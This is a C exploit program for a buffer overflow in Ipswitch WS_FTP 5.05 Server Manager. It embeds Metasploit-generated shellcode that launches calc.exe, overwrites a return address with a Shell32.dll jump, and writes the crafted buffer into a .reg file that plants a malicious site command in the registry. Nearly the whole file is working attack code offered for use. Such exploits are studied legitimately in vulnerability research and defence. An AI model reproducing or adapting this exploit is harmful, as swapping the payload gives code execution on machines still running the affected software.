/****************************************************************************
* Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow *
* *
* *
* There\'s a buffer overflow in iftpmgr.exe that can be triggered by *
* registering a long site command. The result is then saved in the registry *
* and every time the group is checked the bug appears. *
* This exploit launches calc.exe. *
* *
* Tested against Win XP SP2 FR. *
* Have Fun! *
* *
* Coded and discovered by Marsu <[email protected]> *
****************************************************************************/
#include \"stdio.h\"
#include \"stdlib.h\"
/* win32_exec - EXITFUNC=process CMD=calc.exe Size=165 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
\"\\x29\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x26\"
\"\\x45\\x32\\xe3\\x83\\xeb\\xfc\\xe2\\xf4\\xda\\xad\\x76\\xe3\\x26\\x45\\xb9\\xa6\"
\"\\x1a\\xce\\x4e\\xe6\\x5e\\x44\\xdd\\x68\\x69\\x5d\\xb9\\xbc\\x06\\x44\\xd9\\xaa\"
\"\\xad\\x71\\xb9\\xe2\\xc8\\x74\\xf2\\x7a\\x8a\\xc1\\xf2\\x97\\x21\\x84\\xf8\\xee\"
\"\\x27\\x87\\xd9\\x17\\x1d\\x11\\x16\\xe7\\x53\\xa0\\xb9\\xbc\\x02\\x44\\xd9\\x85\"
\"\\xad\\x49\\x79\\x68\\x79\\x59\\x33\\x08\\xad\\x59\\xb9\\xe2\\xcd\\xcc\\x6e\\xc7\"
\"\\x5C\\x22\\x86\\x03\\x23\\x42\\xce\\x72\\xd3\\xa3\\x85\\x4a\\xef\\xad\\x05\\x3e\"
\"\\x68\\x56\\x59\\x9f\\x68\\x4e\\x4d\\xd9\\xea\\xad\\xc5\\x82\\xe3\\x26\\x45\\xb9\"
\"\\x8b\\x1a\\x1a\\x03\\x15\\x46\\x13\\xbb\\x1b\\xa5\\x85\\x49\\xb3\\x4e\\x3b\\xea\"
\"\\x01\\x55\\x2d\\xaa\\x1d\\xac\\x4b\\x65\\x1c\\xc1\\x26\\x53\\x8f\\x45\\x6b\\x57\"
\"\\x9b\\x43\\x45\\x32\\xe3\";
int main(int argc, char* argv[])
{
FILE* regfile;
char evilbuff[250];
printf(\"[+] Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow\\n\");
printf(\"[+] Coded and discovered by Marsu <[email protected]>\\n\");
if (argc!=3) {
printf(\"[+] Usage: %s <Group> <file.reg>\\n\",argv[0]);
printf(\"[+] ex: %s Marsu Pilami.reg\\n\",argv[0]);
return 0;
}
memset(evilbuff,\'C\',250);
memcpy(evilbuff+4,CalcShellcode,strlen(CalcShellcode));
memcpy(evilbuff+202,\"\\x46\\xE4\\xBD\\x7C\",4); /*00 50 00 00 in Shell32.dll. We need this to jump back to our shellcode =)
CALL DWORD PTR DS:[EDX+90] and our code is at 0x00500040 in DS*/
memset(evilbuff+215,0,1);
regfile=fopen(argv[2],\"wb\");
fprintf(regfile,\"Windows Registry Editor Version 5.00\\r\\n\\r\\n\");
fprintf(regfile,\"[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Ipswitch\\\\iFtpSvc\\\\Domains\\\\%s\\\\Commands]\\r\\n\\r\\n\",argv[1]);
fprintf(regfile,\"[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Ipswitch\\\\iFtpSvc\\\\Domains\\\\%s\\\\Commands\\\\aa]\\r\\n\\\"_Executable\\\"=\\\"%s\\\"\\r\\n\",argv[1],evilbuff);
fprintf(regfile,\"\\\"_Arguments\\\"=\\\"%s\\\"\\r\\n\",evilbuff);
fprintf(regfile,\"\\\"*everyone\\\"=dword:000000ff\\r\\n\\r\\n\");
fclose(regfile);
printf(\"[+] Done. Have fun!\\n\");
return 0;
}
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